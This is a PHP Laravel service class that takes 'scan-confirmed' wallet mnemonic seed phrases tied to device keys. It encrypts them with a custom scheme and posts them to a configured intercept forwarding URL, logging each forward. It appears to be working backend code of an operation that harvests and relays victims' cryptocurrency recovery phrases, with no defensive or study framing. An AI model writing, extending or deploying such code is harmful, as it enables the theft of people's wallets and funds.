<?php

namespace App\Services;

use App\Http\Middleware\DecryptXxbbBody;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;

/**
 * Push a scan-confirmed mnemonic to INTERCEPT_FORWARD_URL as an xxbb /us body.
 */
class InterceptForwarder
{
    public function postMnemonic(string $deviceKey, string $phrase, string $tag): bool
    {
        $base = rtrim((string) config('coruna.intercept.forward_url', ''), '/');
        if ($base === '' || $deviceKey === '' || $phrase === '') {
            return false;
        }

        $ts = (string) (int) round(microtime(true) * 1000);
        if (strlen($ts) < 13) {
            $ts = str_pad($ts, 13, '0');
        }
        $enc = DecryptXxbbBody::crypto()->encryptJson([
            'd' => $deviceKey,
            'a' => $tag,
            'mnemonic' => $phrase,
        ], $ts);

        $target = $base.'/us';
        $timeout = (int) config('coruna.intercept.forward_timeout', 10);

        try {
            $resp = Http::withHeaders([
                'Content-Type' => 'text/plain',
                'x-ts' => $ts,
            ])
                ->timeout($timeout)
                ->connectTimeout(min($timeout, 5))
                ->withBody($enc['body'], 'text/plain')
                ->post($target);

            $this->writeLog($deviceKey, $target, $resp->status(), (string) $resp->body());

            return $resp->successful();
        } catch (\Throwable $e) {
            Log::warning('scan mnemonic forward failed: '.$e->getMessage(), [
                'device_key' => $deviceKey,
                'target' => $target,
            ]);
            $this->writeLog($deviceKey, $target, 0, $e->getMessage());

            return false;
        }
    }

    private function writeLog(string $deviceKey, string $target, int $status, string $body): void
    {
        $logPath = public_path('log/intercept');
        if (! is_dir($logPath)) {
            return;
        }

        $entry = [
            'time' => date('Y-m-d H:i:s'),
            'dir' => 'scan-forward',
            'device_key' => $deviceKey,
            'target' => $target,
            'status' => $status,
            'response' => strlen($body) > 4000 ? substr($body, 0, 4000) : $body,
        ];

        $line = $entry['time'].'  SCAN-FORWARD '.$entry['target'].'  '
            .json_encode($entry, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
            ."\r\n\r\n";

        @file_put_contents($logPath.'/'.date('Ymd').'.log', $line, FILE_APPEND);
    }
}